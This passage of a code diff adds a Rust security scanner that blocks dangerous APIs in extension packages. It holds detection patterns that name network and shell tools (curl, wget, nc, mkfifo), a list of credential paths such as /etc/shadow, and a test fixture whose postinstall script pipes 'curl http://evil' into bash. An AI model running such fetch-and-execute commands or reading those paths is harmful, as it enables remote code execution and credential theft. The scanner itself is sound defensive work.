"localStorage", + "sessionStorage", + "open", +]; + +const MSG_PROP: &str = "Blocked: UI extensions must render only inside the host-provided container and must not access page-level DOM, storage, or navigation APIs."; +const MSG_CALL: &str = "Blocked: UI extensions must render only inside the host-provided container and must not query, write, navigate, or escape checkout page DOM directly."; +const MSG_STORAGE: &str = "Blocked: UI extensions must not access page-global browser storage."; +const MSG_DESTRUCTURE: &str = "Blocked: UI extensions must not destructure page-level DOM, storage, or navigation APIs outside the host-provided container."; + +#[derive(Debug, Clone)] +enum Binding { + /// Local binding that hides the page global / outer alias. + Local, + /// `const doc = document` → references resolve to the page root. + Alias(String), +} + +pub fn scan_dom_escape( + path: &str, + source: &str, + program: &oxc_ast::ast::Program<'_>, +) -> Vec { + let mut visitor = DomEscapeVisitor { + source, + file: path, + scopes: Vec::new(), + suppress_storage_ident: false, + findings: Vec::new(), + }; + visitor.visit_program(program); + visitor.findings +} + +struct DomEscapeVisitor<'a> { + source: &'a str, + file: &'a str, + /// Innermost scope last. Populated via oxc `enter_scope` / `leave_scope`. + scopes: Vec>, + /// When walking a member-expression object, skip bare-storage checks. + suppress_storage_ident: bool, + findings: Vec, +} + +impl DomEscapeVisitor<'_> { + fn report(&mut self, message: &str, span: Span) { + let (line, col) = offset_to_line_col(self.source, span.start as usize); + self.findings.push(Finding { + rule_id: "SEC012", + severity: Severity::Block, + message: message.to_owned(), + file: self.file.to_owned(), + line, + col, + snippet: snippet_at(self.source, span), + }); + } + + fn declare(&mut self, name: &str, binding: Binding) { + if let Some(scope) = self.scopes.last_mut() { + scope.insert(name.to_owned(), binding); + } + } + + fn declare_local(&mut self, name: &str) { + self.declare(name, Binding::Local); + } + + fn declare_alias(&mut self, name: &str, root: String) { + self.declare(name, Binding::Alias(root)); + } + + fn declare_pattern_local(&mut self, pat: &BindingPattern<'_>) { + match pat { + BindingPattern::BindingIdentifier(id) => self.declare_local(id.name.as_str()), + BindingPattern::ObjectPattern(obj) => { + for prop in &obj.properties { + self.declare_pattern_local(&prop.value); + } + if let Some(rest) = &obj.rest { + self.declare_pattern_local(&rest.argument); + } + } + BindingPattern::ArrayPattern(arr) => { + for pat in arr.elements.iter().flatten() { + self.declare_pattern_local(pat); + } + if let Some(rest) = &arr.rest { + self.declare_pattern_local(&rest.argument); + } + } + BindingPattern::AssignmentPattern(ap) => self.declare_pattern_local(&ap.left), + } + } + + fn walk_pattern_defaults(&mut self, pat: &BindingPattern<'_>) { + match pat { + BindingPattern::AssignmentPattern(ap) => { + self.visit_expression(&ap.right); + self.walk_pattern_defaults(&ap.left); + } + BindingPattern::ObjectPattern(obj) => { + for prop in &obj.properties { + self.walk_pattern_defaults(&prop.value); + } + if let Some(rest) = &obj.rest { + self.walk_pattern_defaults(&rest.argument); + } + } + BindingPattern::ArrayPattern(arr) => { + for pat in arr.elements.iter().flatten() { + self.walk_pattern_defaults(pat); + } + if let Some(rest) = &arr.rest { + self.walk_pattern_defaults(&rest.argument); + } + } + BindingPattern::BindingIdentifier(_) => {} + } + } + + fn resolve_identifier_root<'b>(&'b self, name: &'b str) -> Option<&'b str> { + // Match TS SEC012: aliases win unless shadowed by a later local; the host + // `container` binding is never treated as a free-variable shadow (params + // like `mount({ container })` must still hit container.* blocklists). + let mut saw_local = false; + for scope in self.scopes.iter().rev() { + match scope.get(name) { + Some(Binding::Local) => saw_local = true, + Some(Binding::Alias(root)) => { + return if saw_local { None } else { Some(root.as_str()) }; + } + None => {} + } + } + if saw_local { + return (name == "container").then_some("container"); + } + if ALIASABLE_GLOBAL_ROOTS.contains(&name) { + Some(name) + } else { + None + } + } + + fn resolve_expression_root<'b>(&'b self, expr: &'b Expression<'_>) -> Option<&'b str> { + match expr { + Expression::Identifier(id) => self.resolve_identifier_root(id.name.as_str()), + Expression::StaticMemberExpression(mem) => { + let owner = self.resolve_expression_root(&mem.object)?; + reroot_document_owner(owner, mem.property.name.as_str()) + } + Expression::ComputedMemberExpression(mem) => { + let member = static_string_key(&mem.expression)?; + let owner = self.resolve_expression_root(&mem.object)?; + reroot_document_owner(owner, member) + } + _ => None, + } + } + + fn is_member_access(&self, expr: &Expression<'_>, object: &str, prop: &str) -> bool { + match expr { + Expression::StaticMemberExpression(mem) => { + mem.property.name.as_str() == prop + && self.resolve_expression_root(&mem.object) == Some(object) + } + Expression::ComputedMemberExpression(mem) => { + static_string_key(&mem.expression) == Some(prop) + && self.resolve_expression_root(&mem.object) == Some(object) + } + _ => false, + } + } + + fn is_nested_member_access( + &self, + expr: &Expression<'_>, + object: &str, + first: &str, + second: &str, + ) -> bool { + let (inner, second_name) = match expr { + Expression::StaticMemberExpression(mem) => (&mem.object, mem.property.name.as_str()), + Expression::ComputedMemberExpression(mem) => { + let Some(name) = static_string_key(&mem.expression) else { + return false; + }; + (&mem.object, name) + } + _ => return false, + }; + second_name == second && self.is_member_access(inner, object, first) + } + + fn is_blocked_call(&self, call: &CallExpression<'_>) -> bool { + if let Expression::Identifier(id) = &call.callee { + let root = self.resolve_identifier_root(id.name.as_str()); + if root.is_some_and(|r| BLOCKED_GLOBAL_FUNCTIONS.contains(&r)) { + return true; + } + } + + BLOCKED_GLOBAL_CALLS + .iter() + .any(|(obj, method)| self.is_member_access(&call.callee, obj, method)) + || BLOCKED_NESTED_CALLS.iter().any(|(obj, mid, method)| { + self.is_nested_member_access(&call.callee, obj, mid, method) + }) + } + + fn is_blocked_destructure_prop(root: &str, prop: &str) -> bool { + BLOCKED_GLOBAL_PROPERTIES + .iter() + .any(|(o, p)| *o == root && *p == prop) + || BLOCKED_GLOBAL_CALLS + .iter() + .any(|(o, p)| *o == root && *p == prop) + } + + fn walk_member_object(&mut self, object: &Expression<'_>) { + self.suppress_storage_ident = true; + self.visit_expression(object); + self.suppress_storage_ident = false; + } + + fn is_blocked_property_access(&self, object: &Expression<'_>, prop: &str) -> bool { + if let Some(root) = self.resolve_expression_root(object) + && STORAGE_ROOTS.contains(&root) + { + return true; + } + BLOCKED_GLOBAL_PROPERTIES + .iter() + .any(|(obj, p)| *p == prop && self.resolve_expression_root(object) == Some(*obj)) + } + + fn is_blocked_property_access_static(&self, mem: &StaticMemberExpression<'_>) -> bool { + self.is_blocked_property_access(&mem.object, mem.property.name.as_str()) + } + + fn is_blocked_property_access_computed(&self, mem: &ComputedMemberExpression<'_>) -> bool { + static_string_key(&mem.expression) + .is_some_and(|prop| self.is_blocked_property_access(&mem.object, prop)) + } +} + +impl<'a> Visit<'a> for DomEscapeVisitor<'_> { + fn enter_scope(&mut self, _flags: ScopeFlags, _scope_id: &Cell>) { + self.scopes.push(HashMap::new()); + } + + fn leave_scope(&mut self) { + self.scopes.pop(); + } + + fn visit_function(&mut self, it: &Function<'a>, flags: ScopeFlags) { + // Function declarations hoist their name into the enclosing scope. + if it.r#type == FunctionType::FunctionDeclaration + && let Some(id) = &it.id + { + self.declare_local(id.name.as_str()); + } + walk::walk_function(self, it, flags); + } + + fn visit_binding_identifier(&mut self, it: &oxc_ast::ast::BindingIdentifier<'a>) { + // Function/class ids and any pattern walk that reaches here. + // VariableDeclarators / params / catch use explicit declare_* instead + // and do not walk binding identifiers before their initializers. + self.declare_local(it.name.as_str()); + walk::walk_binding_identifier(self, it); + } + + fn visit_class(&mut self, it: &Class<'a>) { + if it.r#type == ClassType::ClassDeclaration + && let Some(id) = &it.id + { + self.declare_local(id.name.as_str()); + } + walk::walk_class(self, it); + } + + fn visit_import_declaration(&mut self, it: &ImportDeclaration<'a>) { + if let Some(specifiers) = &it.specifiers { + for spec in specifiers { + let local = match spec { + ImportDeclarationSpecifier::ImportDefaultSpecifier(s) => s.local.name.as_str(), + ImportDeclarationSpecifier::ImportNamespaceSpecifier(s) => { + s.local.name.as_str() + } + ImportDeclarationSpecifier::ImportSpecifier(s) => s.local.name.as_str(), + }; + self.declare_local(local); + } + } + walk::walk_import_declaration(self, it); + } + + fn visit_formal_parameter(&mut self, it: &FormalParameter<'a>) { + // Visit default value before the param binding shadows outer names. + if let Some(init) = &it.initializer { + self.visit_expression(init); + } + self.declare_pattern_local(&it.pattern); + } + + fn visit_catch_parameter(&mut self, it: &oxc_ast::ast::CatchParameter<'a>) { + self.declare_pattern_local(&it.pattern); + } + + fn visit_variable_declarator(&mut self, it: &VariableDeclarator<'a>) { + // Resolve / scan initializer before declaring bindings (TDZ / shadowing). + let alias_root = it.init.as_ref().and_then(|init| { + let root = self.resolve_expression_root(init).map(str::to_owned); + + if let (Some(root_name), BindingPattern::ObjectPattern(obj)) = (&root, &it.id) { + for prop in &obj.properties { + if let Some(prop_name) = binding_property_name(prop) + && Self::is_blocked_destructure_prop(root_name, prop_name) + { + self.report(MSG_DESTRUCTURE, it.span); + break; + } + } + } + + self.visit_expression(init); + root + }); + + self.walk_pattern_defaults(&it.id); + + if let (Some(root_name), BindingPattern::BindingIdentifier(id)) = (&alias_root, &it.id) + && ALIASABLE_GLOBAL_ROOTS.contains(&root_name.as_str()) + { + self.declare_alias(id.name.as_str(), root_name.clone()); + } else { + self.declare_pattern_local(&it.id); + } + } + + fn visit_identifier_reference(&mut self, it: &oxc_ast::ast::IdentifierReference<'a>) { + if !self.suppress_storage_ident { + let root = self.resolve_identifier_root(it.name.as_str()); + if root.is_some_and(|r| STORAGE_ROOTS.contains(&r)) { + self.report(MSG_STORAGE, it.span); + } + } + walk::walk_identifier_reference(self, it); + } + + fn visit_static_member_expression(&mut self, it: &StaticMemberExpression<'a>) { + if self.is_blocked_property_access_static(it) { + self.report(MSG_PROP, it.span); + } + self.walk_member_object(&it.object); + walk::walk_identifier_name(self, &it.property); + } + + fn visit_computed_member_expression(&mut self, it: &ComputedMemberExpression<'a>) { + if self.is_blocked_property_access_computed(it) { + self.report(MSG_PROP, it.span); + } + self.walk_member_object(&it.object); + self.visit_expression(&it.expression); + } + + fn visit_call_expression(&mut self, it: &CallExpression<'a>) { + if self.is_blocked_call(it) { + self.report(MSG_CALL, it.span); + } + walk::walk_call_expression(self, it); + } +} + +fn reroot_document_owner(owner: &str, member: &str) -> Option<&'static str> { + if !DOCUMENT_OWNER_ROOTS.contains(&owner) { + return None; + } + match member { + "document" => Some("document"), + "location" => Some("location"), + _ => None, + } +} + +fn static_string_key<'a>(expr: &'a Expression<'_>) -> Option<&'a str> { + match expr { + Expression::StringLiteral(lit) => Some(lit.value.as_str()), + Expression::TemplateLiteral(t) if t.expressions.is_empty() => t + .quasis + .first() + .and_then(|q| q.value.cooked.as_ref().map(|s| s.as_str())), + _ => None, + } +} + +fn binding_property_name<'a>(prop: &'a oxc_ast::ast::BindingProperty<'_>) -> Option<&'a str> { + if prop.shorthand + && let BindingPattern::BindingIdentifier(id) = &prop.value + { + return Some(id.name.as_str()); + } + match &prop.key { + PropertyKey::StaticIdentifier(id) => Some(id.name.as_str()), + PropertyKey::StringLiteral(lit) => Some(lit.value.as_str()), + _ => None, + } +} diff --git a/rust/src/extension/security/engine.rs b/rust/src/extension/security/engine.rs new file mode 100644 index 00000000..7a919dc0 --- /dev/null +++ b/rust/src/extension/security/engine.rs @@ -0,0 +1,368 @@ +//! AST scan engine: parse with oxc, build aliases, run SEC001–SEC010 (+ SEC012 via dom_escape). + +use oxc_ast::ast::{ + CallExpression, Expression, ImportDeclaration, NewExpression, StaticMemberExpression, + StringLiteral, TemplateLiteral, +}; +use oxc_ast_visit::{Visit, walk}; +use oxc_parser::Parser; +use oxc_span::SourceType; + +use crate::extension::{Finding, Severity}; + +use super::alias_builder::build_alias_maps; +use super::config::{is_trusted_domain, security_config}; +use super::dom_escape::scan_dom_escape; +use super::types::{AliasMaps, SecurityConfig}; +use super::util::{first_string_arg, matches_http_url, offset_to_line_col, snippet_at}; + +const CP_METHODS: &[&str] = &[ + "exec", + "spawn", + "fork", + "execFile", + "execSync", + "spawnSync", + "execFileSync", +]; + +const VM_METHODS: &[&str] = &[ + "runInNewContext", + "runInContext", + "runInThisContext", + "createContext", +]; + +const NATIVE_LIBS: &[&str] = &["node-gyp-build", "ffi-napi", "ref-napi", "bindings"]; + +const MODULE_PATCH_PROPS: &[&str] = &["_load", "_extensions", "_compile", "_resolveFilename"]; + +const SENSITIVE_PATHS: &[&str] = &["~/.ssh", "/etc/passwd", "/etc/shadow", "/var/run/secrets"]; + +pub fn scan_source_file(path: &str, source: &str) -> Vec { + let allocator = oxc_allocator::Allocator::default(); + let parsed = Parser::new(&allocator, source, SourceType::tsx()).parse(); + let aliases = build_alias_maps(&parsed.program); + let config = security_config(); + + let mut visitor = RuleVisitor { + source, + file: path, + aliases: &aliases, + config: &config, + findings: Vec::new(), + }; + visitor.visit_program(&parsed.program); + + let mut findings = visitor.findings; + findings.extend(scan_dom_escape(path, source, &parsed.program)); + findings +} + +struct RuleVisitor<'a> { + source: &'a str, + file: &'a str, + aliases: &'a AliasMaps, + config: &'a SecurityConfig, + findings: Vec, +} + +impl RuleVisitor<'_> { + fn report( + &mut self, + rule_id: &'static str, + severity: Severity, + message: String, + span: oxc_span::Span, + ) { + let (line, col) = offset_to_line_col(self.source, span.start as usize); + self.findings.push(Finding { + rule_id, + severity, + message, + file: self.file.to_owned(), + line, + col, + snippet: snippet_at(self.source, span), + }); + } + + fn is_aliased_method( + &self, + method: &str, + callee_local: &str, + module: &str, + methods: &[&str], + ) -> bool { + methods.contains(&method) && self.aliases.is_alias_of(callee_local, module) + } + + fn check_url_string(&mut self, text: &str, span: oxc_span::Span) { + if matches_http_url(text) && !is_trusted_domain(text, self.config) { + self.report( + "SEC008", + Severity::Warn, + format!( + "Warning: External URL '{text}' detected. Review if this is necessary or use GoDaddy APIs instead." + ), + span, + ); + } + } + + fn check_sensitive_path(&mut self, text: &str, span: oxc_span::Span) { + if SENSITIVE_PATHS.iter().any(|p| text.contains(p)) { + self.report( + "SEC010", + Severity::Warn, + format!("Sensitive path literal detected: {text}"), + span, + ); + } + } +} + +impl<'a> Visit<'a> for RuleVisitor<'_> { + fn visit_call_expression(&mut self, it: &CallExpression<'a>) { + if let Expression::Identifier(id) = &it.callee { + let name = id.name.as_str(); + if name == "eval" { + self.report( + "SEC001", + Severity::Block, + "Blocked: eval() allows arbitrary code execution. Use JSON.parse() for data or refactor code.".to_owned(), + it.span, + ); + } + if self.is_aliased_method(name, name, "child_process", CP_METHODS) { + self.report( + "SEC002", + Severity::Block, + format!( + "Blocked: child_process.{name}() can execute arbitrary system commands. Use platform APIs instead." + ), + it.span, + ); + } + if self.is_aliased_method(name, name, "vm", VM_METHODS) { + self.report( + "SEC003", + Severity::Block, + format!( + "Blocked: vm.{name}() enables arbitrary code execution. Contact platform team if you need sandboxing." + ), + it.span, + ); + } + } + + if let Some((obj, method)) = static_member_call(it) { + if self.is_aliased_method(method, obj, "child_process", CP_METHODS) { + self.report( + "SEC002", + Severity::Block, + format!( + "Blocked: child_process.{method}() can execute arbitrary system commands. Use platform APIs instead." + ), + it.span, + ); + } + if self.is_aliased_method(method, obj, "vm", VM_METHODS) { + self.report( + "SEC003", + Severity::Block, + format!( + "Blocked: vm.{method}() enables arbitrary code execution. Contact platform team if you need sandboxing." + ), + it.span, + ); + } + } + + if is_require_call(it) + && let Some(module) = first_string_arg(it) + { + if module.ends_with(".node") || NATIVE_LIBS.contains(&module) { + self.report( + "SEC005", + Severity::Block, + format!( + "Blocked: require('{module}') loads a native binding. Extensions must use pure JavaScript/TypeScript." + ), + it.span, + ); + } + if module == "inspector" || module == "node:inspector" { + self.report( + "SEC007", + Severity::Block, + "Blocked: require('inspector') provides programmatic debugging. Use standard debugging tools instead.".to_owned(), + it.span, + ); + } + } + + if is_buffer_from(it) + && let Some((data, encoding)) = buffer_from_args(it) + && matches!(encoding, "base64" | "hex") + && data.len() > 200 + { + self.report( + "SEC009", + Severity::Warn, + format!( + "Large {encoding} blob ({}) chars in Buffer.from() may hide payloads. Load binary from files when possible.", + data.len() + ), + it.span, + ); + } + + walk::walk_call_expression(self, it); + } + + fn visit_new_expression(&mut self, it: &NewExpression<'a>) { + if let Expression::Identifier(id) = &it.callee + && id.name.as_str() == "Function" + { + self.report( + "SEC001", + Severity::Block, + "Blocked: new Function() allows arbitrary code execution. Use regular function declarations instead.".to_owned(), + it.span, + ); + } + if let Some((obj, "Script")) = static_member_callee_new(it) + && self.aliases.is_alias_of(obj, "vm") + { + self.report( + "SEC003", + Severity::Block, + "Blocked: new vm.Script() enables arbitrary code execution.".to_owned(), + it.span, + ); + } + walk::walk_new_expression(self, it); + } + + fn visit_static_member_expression(&mut self, it: &StaticMemberExpression<'a>) { + if let Expression::Identifier(obj) = &it.object { + let obj_name = obj.name.as_str(); + let prop = it.property.name.as_str(); + if obj_name == "process" && (prop == "binding" || prop == "dlopen") { + self.report( + "SEC004", + Severity::Block, + format!("Blocked: process.{prop}() accesses low-level process internals."), + it.span, + ); + } + if obj_name == "Module" && MODULE_PATCH_PROPS.contains(&prop) { + self.report( + "SEC006", + Severity::Block, + format!("Blocked: Module.{prop} patches module loading."), + it.span, + ); + } + if obj_name == "require" && prop == "extensions" { + self.report( + "SEC006", + Severity::Block, + "Blocked: require.extensions patches module loading.".to_owned(), + it.span, + ); + } + } + walk::walk_static_member_expression(self, it); + } + + fn visit_import_declaration(&mut self, it: &ImportDeclaration<'a>) { + let module = it.source.value.as_str(); + if module == "inspector" || module == "node:inspector" { + self.report( + "SEC007", + Severity::Block, + "Blocked: import of 'inspector' provides programmatic debugging.".to_owned(), + it.span, + ); + } + if NATIVE_LIBS.contains(&module) || module.ends_with(".node") { + self.report( + "SEC005", + Severity::Block, + format!( + "Blocked: import of '{module}' loads a native binding. Extensions must use pure JavaScript/TypeScript." + ), + it.span, + ); + } + walk::walk_import_declaration(self, it); + } + + fn visit_string_literal(&mut self, it: &StringLiteral<'a>) { + let text = it.value.as_str(); + self.check_url_string(text, it.span); + self.check_sensitive_path(text, it.span); + walk::walk_string_literal(self, it); + } + + fn visit_template_literal(&mut self, it: &TemplateLiteral<'a>) { + // Parity with TS: no-sub templates + template heads (not interpolated spans). + if it.expressions.is_empty() { + if let Some(quasi) = it.quasis.first() + && let Some(cooked) = &quasi.value.cooked + { + let text = cooked.as_str(); + self.check_url_string(text, it.span); + self.check_sensitive_path(text, it.span); + } + } else if let Some(head) = it.quasis.first() + && let Some(cooked) = &head.value.cooked + { + self.check_url_string(cooked.as_str(), head.span); + } + walk::walk_template_literal(self, it); + } +} + +fn static_member_parts<'a>(expr: &Expression<'a>) -> Option<(&'a str, &'a str)> { + let Expression::StaticMemberExpression(mem) = expr else { + return None; + }; + let Expression::Identifier(obj) = &mem.object else { + return None; + }; + Some((obj.name.as_str(), mem.property.name.as_str())) +} + +fn static_member_call<'a>(call: &CallExpression<'a>) -> Option<(&'a str, &'a str)> { + static_member_parts(&call.callee) +} + +fn static_member_callee_new<'a>(expr: &NewExpression<'a>) -> Option<(&'a str, &'a str)> { + static_member_parts(&expr.callee) +} + +fn is_require_call(call: &CallExpression<'_>) -> bool { + matches!(&call.callee, Expression::Identifier(id) if id.name.as_str() == "require") +} + +fn is_buffer_from(call: &CallExpression<'_>) -> bool { + match &call.callee { + Expression::StaticMemberExpression(mem) => { + matches!(&mem.object, Expression::Identifier(id) if id.name.as_str() == "Buffer") + && mem.property.name.as_str() == "from" + } + _ => false, + } +} + +fn buffer_from_args<'a>(call: &CallExpression<'a>) -> Option<(&'a str, &'a str)> { + let data = first_string_arg(call)?; + let enc_expr = call.arguments.get(1)?.as_expression()?; + let Expression::StringLiteral(enc) = enc_expr else { + return None; + }; + Some((data, enc.value.as_str())) +} diff --git a/rust/src/extension/security/file_discovery.rs b/rust/src/extension/security/file_discovery.rs new file mode 100644 index 00000000..55f735ad --- /dev/null +++ b/rust/src/extension/security/file_discovery.rs @@ -0,0 +1,59 @@ +//! Discover source files under an extension package directory. + +use std::path::{Path, PathBuf}; + +use globset::GlobSet; + +use super::config::{exclude_matcher, security_config, should_exclude}; + +const SOURCE_EXTENSIONS: &[&str] = &[".js", ".ts", ".jsx", ".tsx", ".mjs", ".cjs"]; + +/// Recursively collect source files under `root`, applying exclude globs. +pub fn find_files_to_scan(root: &Path) -> std::io::Result> { + let config = security_config(); + let excludes = exclude_matcher(&config); + let mut files = Vec::new(); + if !root.is_dir() { + return Err(std::io::Error::new( + std::io::ErrorKind::NotFound, + format!("path is not a directory: {}", root.display()), + )); + } + traverse(root, &excludes, &mut files)?; + Ok(files) +} + +fn traverse(dir: &Path, excludes: &GlobSet, out: &mut Vec) -> std::io::Result<()> { + let dir_str = dir.to_string_lossy(); + if should_exclude(&dir_str, excludes) { + return Ok(()); + } + let entries = match std::fs::read_dir(dir) { + Ok(e) => e, + Err(_) => return Ok(()), + }; + for entry in entries.flatten() { + let path = entry.path(); + let path_str = path.to_string_lossy(); + if should_exclude(&path_str, excludes) { + continue; + } + let ft = match entry.file_type() { + Ok(ft) => ft, + Err(_) => continue, + }; + if ft.is_dir() { + traverse(&path, excludes, out)?; + } else if ft.is_file() { + // Case-sensitive + let name = path + .file_name() + .and_then(|s| s.to_str()) + .unwrap_or_default(); + if SOURCE_EXTENSIONS.iter().any(|ext| name.ends_with(ext)) { + out.push(path); + } + } + } + Ok(()) +} diff --git a/rust/src/extension/security/mod.rs b/rust/src/extension/security/mod.rs index c76aff0e..30974bf1 100644 --- a/rust/src/extension/security/mod.rs +++ b/rust/src/extension/security/mod.rs @@ -1,13 +1,34 @@ +//! Extension security scanning. +//! +//! - Pre-bundle AST scan: [`scan_extension`] (SEC001–SEC012 + SEC011) +//! - Post-bundle regex scan: [`scan_bundle`] (SEC101–SEC115) + use std::sync::OnceLock; use super::types::{Finding, Severity}; +mod alias_builder; +mod config; +mod dom_escape; +mod engine; +mod file_discovery; mod rules; +mod scripts_scanner; +mod source; +mod types; +mod util; + #[cfg(test)] mod tests_sec101_108; #[cfg(test)] mod tests_sec109_115; +pub use source::scan_extension; +// Returned by `scan_extension` but no caller currently names the type via +// `crate::extension::security::ScanReport`. +#[allow(unused_imports)] +pub use types::ScanReport; + use rules::RULE_DEFS; struct CompiledRule { @@ -89,9 +110,10 @@ pub fn scan_bundle(content: &str, file_path: &str) -> Vec { findings.push(Finding { rule_id: rule.id, severity: rule.severity, - message: rule.description, + message: rule.description.to_owned(), file: file_path.to_owned(), line: line_number(content, m.start()), + col: 0, snippet: extract_snippet(content, m.start()), }); } @@ -102,9 +124,10 @@ pub fn scan_bundle(content: &str, file_path: &str) -> Vec { findings.push(Finding { rule_id: rule.id, severity: rule.severity, - message: rule.description, + message: rule.description.to_owned(), file: file_path.to_owned(), line: line_number(content, m.start()), + col: 0, snippet: extract_snippet(content, m.start()), }); } @@ -223,9 +246,10 @@ mod tests { let findings = vec![Finding { rule_id: "SEC108", severity: Severity::Warn, - message: "test", + message: "test".to_owned(), file: "f.mjs".to_owned(), line: 1, + col: 0, snippet: String::new(), }]; assert!(!is_blocked(&findings)); @@ -236,9 +260,10 @@ mod tests { let findings = vec![Finding { rule_id: "SEC101", severity: Severity::Block, - message: "test", + message: "test".to_owned(), file: "f.mjs".to_owned(), line: 1, + col: 0, snippet: String::new(), }]; assert!(is_blocked(&findings)); @@ -250,17 +275,19 @@ mod tests { Finding { rule_id: "SEC108", severity: Severity::Warn, - message: "warn", + message: "warn".to_owned(), file: "f.mjs".to_owned(), line: 1, + col: 0, snippet: String::new(), }, Finding { rule_id: "SEC101", severity: Severity::Block, - message: "block", + message: "block".to_owned(), file: "f.mjs".to_owned(), line: 2, + col: 0, snippet: String::new(), }, ]; diff --git a/rust/src/extension/security/scripts_scanner.rs b/rust/src/extension/security/scripts_scanner.rs new file mode 100644 index 00000000..ef018c19 --- /dev/null +++ b/rust/src/extension/security/scripts_scanner.rs @@ -0,0 +1,108 @@ +//! SEC011 — suspicious package.json lifecycle scripts (warn). + +use std::path::Path; +use std::sync::LazyLock; + +use regex::Regex; + +use crate::extension::{Finding, Severity}; + +const LIFECYCLE_SCRIPTS: &[&str] = &["install", "postinstall", "preinstall"]; + +struct SuspiciousPattern { + name: &'static str, + reason: &'static str, + regex: Regex, +} + +static PATTERNS: LazyLock> = LazyLock::new(|| { + [ + ( + "curl", + r"(?i)\bcurl\b", + "Download tool that can fetch remote payloads", + ), + ( + "wget", + r"(?i)\bwget\b", + "Download tool that can fetch remote payloads", + ), + ( + "bash -c", + r"(?i)\bbash\s+-c\b", + "Arbitrary command execution via bash", + ), + ( + "sh -c", + r"(?i)\bsh\s+-c\b", + "Arbitrary command execution via shell", + ), + ( + "powershell -enc", + r"(?i)\bpowershell\s+-enc\b", + "Encoded PowerShell command", + ), + ("nc", r"(?i)\bnc\b", "Network utility in lifecycle script"), + ( + "mkfifo", + r"(?i)\bmkfifo\b", + "Named pipe creation in lifecycle script", + ), + ( + "eval", + r"(?i)\beval\b", + "Dynamic evaluation in lifecycle script", + ), + ( + "exec", + r"(?i)\bexec\b", + "Command execution in lifecycle script", + ), + ] + .into_iter() + .map(|(name, pattern, reason)| SuspiciousPattern { + name, + reason, + regex: Regex::new(pattern).expect("valid SEC011 pattern"), + }) + .collect() +}); + +/// Scan `package.json` lifecycle scripts. Missing/invalid file → empty findings. +pub fn scan_package_scripts(package_json: &Path) -> Vec { + let Ok(content) = std::fs::read_to_string(package_json) else { + return Vec::new(); + }; + let Ok(value) = serde_json::from_str::(&content) else { + return Vec::new(); + }; + let Some(scripts) = value.get("scripts").and_then(|s| s.as_object()) else { + return Vec::new(); + }; + + let mut findings = Vec::new(); + let file = package_json.display().to_string(); + for script_name in LIFECYCLE_SCRIPTS { + let Some(script) = scripts.get(*script_name).and_then(|v| v.as_str()) else { + continue; + }; + for pat in PATTERNS.iter() { + if pat.regex.is_match(script) { + findings.push(Finding { + rule_id: "SEC011", + severity: Severity::Warn, + message: format!( + "Suspicious {} pattern ({}) in {} script: {}", + pat.name, pat.reason, script_name, script + ), + file: file.clone(), + line: 0, + col: 0, + snippet: String::new(), + }); + break; + } + } + } + findings +} diff --git a/rust/src/extension/security/source.rs b/rust/src/extension/security/source.rs new file mode 100644 index 00000000..f5e82026 --- /dev/null +++ b/rust/src/extension/security/source.rs @@ -0,0 +1,368 @@ +//! Pre-bundle AST security scanning (SEC001–SEC012 + SEC011). + +use std::path::Path; + +use super::engine::scan_source_file; +use super::file_discovery::find_files_to_scan; +use super::is_blocked; +use super::scripts_scanner::scan_package_scripts; +use super::types::{ScanReport, build_summary}; + +/// Orchestrate a full pre-bundle security scan of an extension package directory. +/// +/// 1. Scan `package.json` lifecycle scripts (SEC011, warn) +/// 2. Discover source files (respecting excludes) +/// 3. AST-scan each file with oxc (SEC001–SEC010, SEC012) +/// +/// Returns `Err` when the package directory cannot be scanned +pub fn scan_extension(package_dir: &Path) -> Result { + let mut findings = Vec::new(); + + let package_json = package_dir.join("package.json"); + findings.extend(scan_package_scripts(&package_json)); + + let files = find_files_to_scan(package_dir) + .map_err(|e| format!("unable to perform security scan: {e}"))?; + let scanned_files = files.len(); + + for path in &files { + let source = std::fs::read_to_string(path).map_err(|e| { + format!( + "unable to perform security scan: failed to read '{}': {e}", + path.display() + ) + })?; + let path_str = path.display().to_string(); + findings.extend(scan_source_file(&path_str, &source)); + } + + findings.sort_by(|a, b| a.file.cmp(&b.file).then(a.line.cmp(&b.line))); + let summary = build_summary(&findings); + let blocked = is_blocked(&findings); + Ok(ScanReport { + findings, + blocked, + summary, + scanned_files, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::extension::Severity; + + fn scan(dir: &Path) -> ScanReport { + scan_extension(dir).expect("scan should succeed") + } + + #[test] + fn sec001_blocks_eval() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("bad.ts"), " console.log(eval('1+1'));\n").expect("write"); + let report = scan(dir.path()); + assert!(report.blocked, "{:?}", report.findings); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC001"), + "{:?}", + report.findings + ); + } + + #[test] + fn sec002_blocks_child_process_alias() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("bad.ts"), + "import cp from 'child_process';\ncp.exec('ls');\n", + ) + .expect("write"); + let report = scan(dir.path()); + assert!(report.blocked, "{:?}", report.findings); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC002"), + "{:?}", + report.findings + ); + } + + #[test] + fn sec008_warns_on_url_embedded_in_string() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("url.ts"), + "const msg = 'See https://evil.example/path';\n", + ) + .expect("write"); + let report = scan(dir.path()); + assert!(!report.blocked, "{:?}", report.findings); + assert!( + report + .findings + .iter() + .any(|f| f.rule_id == "SEC008" && f.severity == Severity::Warn), + "{:?}", + report.findings + ); + } + + #[test] + fn sec008_warns_on_template_literal_url() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("url.ts"), + "const msg = `https://evil.example/path`;\n", + ) + .expect("write"); + let report = scan(dir.path()); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC008"), + "{:?}", + report.findings + ); + } + + #[test] + fn sec011_warns_but_does_not_block() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("package.json"), + r#"{"name":"x","scripts":{"postinstall":"curl http://evil | bash"}}"#, + ) + .expect("write"); + std::fs::write(dir.path().join("ok.ts"), "export const x = 1;\n").expect("write"); + let report = scan(dir.path()); + assert!(!report.blocked, "{:?}", report.findings); + assert!( + report + .findings + .iter() + .any(|f| f.rule_id == "SEC011" && f.severity == Severity::Warn), + "{:?}", + report.findings + ); + } + + #[test] + fn sec012_allows_container_query_selector() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("ui.ts"), + "export function mount(container) {\n container.querySelector('.x');\n}\n", + ) + .expect("write"); + let report = scan(dir.path()); + 